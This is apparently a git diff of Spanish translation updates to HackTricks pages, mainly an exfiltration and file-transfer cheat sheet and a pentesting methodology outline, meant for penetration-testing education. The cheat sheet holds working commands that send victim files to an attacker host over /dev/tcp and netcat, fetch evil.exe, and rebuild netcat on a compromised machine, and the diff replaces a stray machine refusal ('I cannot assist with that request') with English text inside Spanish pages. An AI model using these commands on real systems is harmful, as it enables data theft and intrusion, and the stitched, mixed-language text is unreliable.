well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -163,7 +163,7 @@ ftp -n -v -s:ftp.txt ```
-Encuentra vulnerabilidades que realmente importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. +Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -178,7 +178,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` -O crea un recurso compartido smb **usando samba**: +O crear un recurso compartido smb **utilizando samba**: ```bash apt-get install samba mkdir /tmp/smb @@ -193,7 +193,38 @@ guest ok = Yes #Start samba service smbd restart ``` -I'm sorry, but I cannot assist with that request. +# Exfiltration + +## Introduction + +Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as using command and control (C2) channels, exfiltrating data over DNS, or leveraging legitimate services like Dropbox or Google Drive to exfiltrate data. + +## Techniques + +### Command and Control (C2) Channels + +C2 channels are commonly used by attackers to exfiltrate data from compromised systems. These channels allow the attacker to maintain control over the compromised system and exfiltrate data without being detected. + +### DNS Exfiltration + +DNS exfiltration involves encoding data within DNS queries or responses to exfiltrate data from a target network. This technique can be used to bypass network security controls that may not inspect DNS traffic. + +### Cloud Storage Exfiltration + +Attackers can leverage cloud storage services like Dropbox or Google Drive to exfiltrate data from a target system. By uploading data to these services, attackers can easily retrieve the data from anywhere with an internet connection. + +## Tools and Resources + +There are various tools and resources available to facilitate data exfiltration, such as: + +- **Cobalt Strike**: A popular tool used by red teamers and attackers for post-exploitation activities, including data exfiltration. +- **PowerShell Empire**: An open-source post-exploitation framework that includes modules for data exfiltration. +- **Cloud Storage Services**: Legitimate cloud storage services like Dropbox, Google Drive, and OneDrive can be used for exfiltrating data. +- **Custom Scripts**: Attackers can develop custom scripts to exfiltrate data based on their specific requirements. + +## Conclusion + +Exfiltration is a critical phase of the cyber attack lifecycle, allowing attackers to steal valuable data from target systems. By understanding the various exfiltration techniques and leveraging appropriate tools and resources, security professionals can better defend against data exfiltration attempts. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -203,7 +234,7 @@ WindPS-2> cd new_disk: ``` ## SCP -El atacante debe tener SSHd en funcionamiento. +El atacante debe tener SSHd en ejecución. ```bash scp @:/ ``` @@ -216,13 +247,25 @@ sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ## NC + +### Description + +Netcat (nc) is a versatile networking utility that can be used for various purposes, including transferring files, port scanning, banner grabbing, and creating reverse shells. It operates by establishing a connection between a client and a server, allowing for data transfer between the two endpoints. Netcat is commonly used by hackers and penetration testers for exfiltrating data from a target network. + +### Detection + +Detection of Netcat usage can be challenging due to its versatility and the fact that it is a legitimate tool used by system administrators for various network-related tasks. Monitoring network traffic for suspicious connections or unexpected data transfers may help in detecting potential misuse of Netcat. + +### Prevention + +To prevent unauthorized use of Netcat within a network, access controls should be implemented to restrict its usage to authorized personnel only. Regularly monitoring network traffic and conducting security audits can also help in identifying any unauthorized use of Netcat. Additionally, implementing network segmentation and strong firewall rules can limit the potential impact of Netcat usage for exfiltration purposes. ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp -### Descargar archivo de la víctima +### Descargar archivo desde la víctima ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim @@ -234,7 +277,7 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` -gracias a **@BinaryShadow\_** +Gracias a **@BinaryShadow\_** ## **ICMP** ```bash @@ -256,15 +299,15 @@ sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** -Si puedes enviar datos a un servidor SMTP, puedes crear un SMTP para recibir los datos con python: +Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP -Por defecto en XP y 2003 (en otros necesita ser agregado explícitamente durante la instalación) +Por defecto en XP y 2003 (en otros sistemas operativos necesita ser agregado explícitamente durante la instalación) -En Kali, **iniciar servidor TFTP**: +En Kali, **iniciar el servidor TFTP**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp @@ -282,7 +325,7 @@ tftp -i get nc.exe ``` ## PHP -Descarga un archivo con un oneliner de PHP: +Descarga un archivo con un PHP oneliner: ```bash echo "" > down2.php ``` @@ -324,39 +367,39 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -Esta es una técnica increíble que funciona en máquinas Windows de 32 bits. La idea es utilizar el programa `debug.exe`. Se utiliza para inspeccionar binarios, como un depurador. Pero también puede reconstruirlos a partir de hex. Entonces, la idea es que tomamos binarios, como `netcat`. Y luego lo desensamblamos en hex, lo pegamos en un archivo en la máquina comprometida y luego lo ensamblamos con `debug.exe`. +Esta es una técnica loca que funciona en máquinas Windows de 32 bits. La idea es utilizar el programa `debug.exe`. Se utiliza para inspeccionar binarios, como un depurador. Pero también puede reconstruirlos a partir de hexadecimal. Entonces la idea es tomar binarios, como `netcat`. Y luego desensamblarlo en hexadecimal, pegarlo en un archivo en la máquina comprometida, y luego ensamblarlo con `debug.exe`. -`Debug.exe` solo puede ensamblar 64 kb. Por lo tanto, necesitamos usar archivos más pequeños que eso. Podemos usar upx para comprimirlo aún más. Así que hagamos eso: +`Debug.exe` solo puede ensamblar 64 kb. Por lo tanto, necesitamos usar archivos más pequeños que eso. Podemos usar upx para comprimirlo aún más. Así que hagámoslo: ``` upx -9 nc.exe ``` -Ahora solo pesa 29 kb. Perfecto. Así que ahora vamos a desensamblarlo: +Ahora solo pesa 29 kb. Perfecto. Así que ahora vamos a desmontarlo: ``` wine exe2bat.exe nc.exe nc.txt ``` -Ahora simplemente copiamos y pegamos el texto en nuestro windows-shell. Y automáticamente creará un archivo llamado nc.exe - ## DNS * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
-Encuentra vulnerabilidades que importan más para que puedas arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. +Ahora simplemente copiamos y pegamos el texto en nuestra ventana de comandos de Windows. Y automáticamente creará un archivo llamado nc.exe + +Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 8eafe3785..5e5720d91 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -2,22 +2,22 @@
-Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de HackTricks para AWS)! +Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red de HackTricks en AWS)! Otras formas de apoyar a HackTricks: -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
\ -**Consejo para cazar bugs**: **regístrate** en **Intigriti**, una plataforma premium de **caza de bugs creada por hackers, para hackers**. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**. +**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -25,70 +25,70 @@ Otras formas de apoyar a HackTricks:
-_Logos de Hacktricks diseñados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Logotipos de Hacktricks diseñados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ ### 0- Ataques Físicos -¿Tienes **acceso físico** a la máquina que quieres atacar? Deberías leer algunos [**trucos sobre ataques físicos**](../physical-attacks/physical-attacks.md) y otros sobre [**escapar de aplicaciones GUI**](../physical-attacks/escaping-from-gui-applications/). +¿Tienes **acceso físico** a la máquina que deseas atacar? Deberías leer algunos [**trucos sobre ataques físicos**](../physical-attacks/physical-attacks.md) y otros sobre [**escapar de aplicaciones GUI**](../physical-attacks/escaping-from-gui-applications/). -### 1 - [Descubriendo hosts dentro de la red](pentesting-network/#discovering-hosts) / [Descubriendo activos de la empresa](external-recon-methodology/) +### 1 - [Descubriendo hosts dentro de la red](pentesting-network/#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/) -**Dependiendo** de si el **test** que estás realizando es un **test interno o externo**, podrías estar interesado en encontrar **hosts dentro de la red de la empresa** (test interno) o **encontrar activos de la empresa en internet** (test externo). +**Dependiendo** de si la **prueba** que estás realizando es una **prueba interna o externa**, puede interesarte encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en Internet** (prueba externa). {% hint style="info" %} -Ten en cuenta que si estás realizando un test externo, una vez que logres obtener acceso a la red interna de la empresa deberías reiniciar esta guía. +Ten en cuenta que si estás realizando una prueba externa y logras obtener acceso a la red interna de la empresa, deberías reiniciar esta guía. {% endhint %} ### **2-** [**Divirtiéndote con la red**](pentesting-network/) **(Interno)** -**Esta sección solo aplica si estás realizando un test interno.**\ -Antes de atacar un host, quizás prefieras **robar algunas credenciales** **de la red** o **interceptar** algunos **datos** para aprender **pasiva/activamente (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting de Red**](pentesting-network/#sniffing). +**Esta sección solo se aplica si estás realizando una prueba interna.**\ +Antes de atacar un host, quizás prefieras **robar algunas credenciales** **de la red** o **husmear** algunos **datos** para aprender de forma **pasiva/activa (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/#sniffing). ### 3- [Escaneo de Puertos - Descubrimiento de Servicios](pentesting-network/#scanning-hosts) -Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qué **servicios están corriendo** en qué puertos. Veamos las [**herramientas básicas para escanear puertos de hosts**](pentesting-network/#scanning-hosts). +Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qué **servicios se están ejecutando** en qué puertos. Veamos las [**herramientas básicas para escanear puertos de hosts**](pentesting-network/#scanning-hosts). ### **4-** [Buscando exploits de versiones de servicios](search-exploits.md) -Una vez que sabes qué servicios están corriendo, y quizás sus versiones, tienes que **buscar vulnerabilidades conocidas**. Quizás tengas suerte y haya un exploit que te dé una shell... +Una vez que sepas qué servicios se están ejecutando, y tal vez su versión, debes **buscar vulnerabilidades conocidas**. Quizás tengas suerte y haya un exploit que te dé acceso a una shell... ### **5-** Pentesting de Servicios -Si no hay ningún exploit interesante para algún servicio en ejecución, deberías buscar **configuraciones erróneas comunes en cada servicio en funcionamiento.** +Si no hay ningún exploit interesante para ningún servicio en ejecución, deberías buscar **configuraciones incorrectas comunes en cada servicio en ejecución**. -**Dentro de este libro encontrarás una guía para hacer pentesting a los servicios más comunes** (y otros que no lo son tanto)**. Por favor, busca en el índice izquierdo la sección de** _**PENTESTING**_ (los servicios están ordenados por sus puertos por defecto). +**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice izquierdo la sección de** _**PENTESTING**_ **(los servicios están ordenados por sus puertos predeterminados).** -**Quiero hacer una mención especial a la parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\ -Además, aquí puedes encontrar una pequeña guía sobre cómo [**encontrar vulnerabilidades conocidas en software**](search-exploits.md). +**Quiero hacer una mención especial de la parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\ +También, se puede encontrar una pequeña guía sobre cómo [**encontrar vulnerabilidades conocidas en software**](search-exploits.md) aquí. -**Si tu servicio no está en el índice, busca en Google** otros tutoriales y **házmelo saber si quieres que lo añada.** Si **no encuentras nada** en Google, realiza tu **propio pentesting a ciegas**, podrías empezar por **conectarte al servicio, hacer fuzzing y leer las respuestas** (si las hay). +**Si tu servicio no está en el índice, busca en Google** otros tutoriales y **hazme saber si quieres que lo añada**. Si **no encuentras nada** en Google, realiza tu **propio pentesting a ciegas**, podrías empezar por **conectarte al servicio, hacer fuzzing y leer las respuestas** (si las hay). #### 5.1 Herramientas Automáticas -También hay varias herramientas que pueden realizar **evaluaciones automáticas de vulnerabilidades**. **Te recomendaría que probaras** [**Legion**](https://github.com/carlospolop/legion)**, que es la herramienta que he creado y está basada en las notas sobre pentesting de servicios que puedes encontrar en este libro.** +También hay varias herramientas que pueden realizar **evaluaciones automáticas de vulnerabilidades**. **Te recomendaría probar** [**Legion**](https://github.com/carlospolop/legion)**, que es la herramienta que he creado y está basada en las notas sobre pentesting de servicios que puedes encontrar en este libro.** #### **5.2 Fuerza Bruta en servicios** -En algunos escenarios, una **Fuerza Bruta** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una CheatSheet de diferentes servicios de fuerza bruta**](brute-force.md)**.** +En algunos escenarios, un **Ataque de Fuerza Bruta** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una Hoja de Trucos de diferentes servicios para fuerza bruta**](brute-force.md)**.** \ -**Consejo para cazar bugs**: **regístrate** en **Intigriti**, una plataforma premium de **caza de bugs creada por hackers, para hackers**. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**.\\ +**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!\\ {% embed url="https://go.intigriti.com/hacktricks" %} ### 6- [Phishing](phishing-methodology/) -Si en este punto no has encontrado ninguna vulnerabilidad interesante, **puede que necesites intentar hacer phishing** para entrar en la red. Puedes leer mi metodología de phishing [aquí](phishing-methodology/): +Si en este punto no has encontrado ninguna vulnerabilidad interesante, **puede que necesites probar algún phishing** para ingresar a la red. Puedes leer mi metodología de phishing [aquí](phishing-methodology/): ### **7-** [**Obteniendo Shell**](shells/) -De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una reverse shell sería muy útil](shells/). +De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una shell inversa sería muy útil](shells/). -Especialmente en Windows podrías necesitar ayuda para **evitar antivirus**: [**Consulta esta página**](../windows-hardening/av-bypass.md)**.**\\ +Especialmente en Windows podrías necesitar algo de ayuda para **evitar los antivirus**: [**Consulta esta página**](../windows-hardening/av-bypass.md)**.**\\ ### 8- Dentro -Si tienes problemas con la shell, aquí puedes encontrar una pequeña **compilación de los comandos más útiles** para pentesters: +Si tienes problemas con la shell, aquí puedes encontrar una pequeña **recopilación de los comandos más útiles** para pentesters: * [**Linux**](../linux-hardening/useful-linux-commands/) * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) @@ -102,7 +102,7 @@ Probablemente necesitarás **extraer algunos datos de la víctima** o incluso ** #### **10.1- Escalada de Privilegios Local** -Si **no eres root/Administrador** dentro de la caja, deberías encontrar una manera de **escalar privilegios.**\ +Si no eres **root/Administrador** dentro de la máquina, deberías encontrar una forma de **escalar privilegios**.\ Aquí puedes encontrar una **guía para escalar privilegios localmente en** [**Linux**](../linux-hardening/privilege-escalation/) **y en** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ También deberías revisar estas páginas sobre cómo funciona **Windows**: @@ -111,42 +111,42 @@ También deberías revisar estas páginas sobre cómo funciona **Windows**: * Cómo [**robar credenciales**](broken-reference/) en Windows * Algunos trucos sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/) -**No olvides revisar las mejores herramientas para enumerar caminos de Escalada de Privilegios locales en Windows y Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**No olvides revisar las mejores herramientas para enumerar rutas de Escalada de Privilegios locales en Windows y Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- Escalada de Privilegios de Dominio** -Aquí puedes encontrar una [**metodología que explica las acciones más comunes para enumerar, escalar privilegios y persistir en un Active Directory**](../windows-hardening/active-directory-methodology/). Aunque esto es solo una subsección de una sección, este proceso podría ser **extremadamente delicado** en una asignación de Pentesting/Red Team. +Aquí puedes encontrar una [**metodología que explica las acciones más comunes para enumerar, escalar privilegios y persistir en un Active Directory**](../windows-hardening/active-directory-methodology/). Aunque esto sea solo una subsección de una sección, este proceso podría ser **extremadamente delicado** en una asignación de Pentesting/Red Team. ### 11 - POST #### **11**.1 - Saqueo -Comprueba si puedes encontrar más **contraseñas** dentro del host o si tienes **acceso a otras máquinas** con los **privilegios** de tu **usuario**.\ -Encuentra aquí diferentes maneras de [**volcar contraseñas en Windows**](broken-reference/). +Verifica si puedes encontrar más **contraseñas** dentro del host o si tienes **acceso a otras máquinas** con los **privilegios** de tu **usuario**.\ +Encuentra aquí diferentes formas de [**extraer contraseñas en Windows**](broken-reference/). #### 11.2 - Persistencia -**Usa 2 o 3 diferentes tipos de mecanismos de persistencia para que no necesites explotar el sistema de nuevo.**\ -**Aquí puedes encontrar algunos** [**trucos de persistencia en active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Utiliza 2 o 3 mecanismos de persistencia diferentes para no necesitar explotar el sistema nuevamente.**\ +**Aquí puedes encontrar algunos** [**trucos de persistencia en Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.** -TODO: Completar post de Persistencia en Windows & Linux +TODO: Completar el Post de persistencia en Windows y Linux -### 12 - Pivoteo +### 12 - Pivotaje -Con las **credenciales recopiladas** podrías tener acceso a otras máquinas, o quizás necesites **descubrir y escanear nuevos hosts** (comenzar la Metodología de Pentesting de nuevo) dentro de nuevas redes donde tu víctima está conectada.\ -En este caso, el túnel podría ser necesario. Aquí puedes encontrar [**un post hablando sobre túneles**](tunneling-and-port-forwarding.md).\ -Definitivamente también deberías revisar el post sobre [Metodología de pentesting de Active Directory](../windows-hardening/active-directory-methodology/). Allí encontrarás trucos geniales para moverte lateralmente, escalar privilegios y volcar credenciales.\ -Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría ser muy útil para pivotar en entornos Windows. +Con las **credenciales recopiladas** podrías tener acceso a otras máquinas, o tal vez necesites **descubrir y escanear nuevos hosts** (comenzar nuevamente la Metodología de Pentesting) dentro de nuevas redes a las que está conectada tu víctima.\ +En este caso, el túnel podría ser necesario. Aquí puedes encontrar [**un post hablando sobre el túnel**](tunneling-and-port-forwarding.md).\ +Definitivamente también deberías revisar el post sobre [Metodología de Pentesting de Active Directory](../windows-hardening/active-directory-methodology/). Allí encontrarás trucos geniales para moverte lateralmente, escalar privilegios y extraer credenciales.\ +También revisa la página sobre [**NTLM**](../windows-hardening/ntlm/), podría ser muy útil para pivotar en entornos de Windows.. ### MÁS -#### [Aplicaciones Android](../mobile-pentesting/android-app-pentesting/) +#### [Aplicaciones de Android](../mobile-pentesting/android-app-pentesting/) #### **Explotación** -* [**Explotación Básica en Linux**](../exploiting/linux-exploiting-basic-esp/) -* [**Explotación Básica en Windows**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) -* [**Herramientas básicas de explotación**](../exploiting/tools/) +* [**Explotación Básica de Linux**](../exploiting/linux-exploiting-basic-esp/) +* [**Guía Básica de Explotación de Windows**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) +* [**Herramientas Básicas de Explotación**](../exploiting/tools/) #### [**Python Básico**](python/) @@ -154,23 +154,23 @@ Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría * [**ECB**](../cryptography/electronic-code-book-ecb.md) * [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) -* [**Padding Oracle**](../cryptography/padding-oracle-priv.md) +* [**Oracle de Relleno**](../cryptography/padding-oracle-priv.md) \ -**Consejo para cazar bugs**: **regístrate** en **Intigriti**, una plataforma premium de **caza de bugs creada por hackers, para hackers**. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**. +**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %}
-Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de HackTricks para AWS)! +Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red de HackTricks en AWS)! Otras formas de apoyar a HackTricks: -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index 58b2c6e35..2527c60c6 100644 --- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -1,87 +1,69 @@ -# Configuración de Burp Suite en iOS +# Configuración de Burp Suite para iOS
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
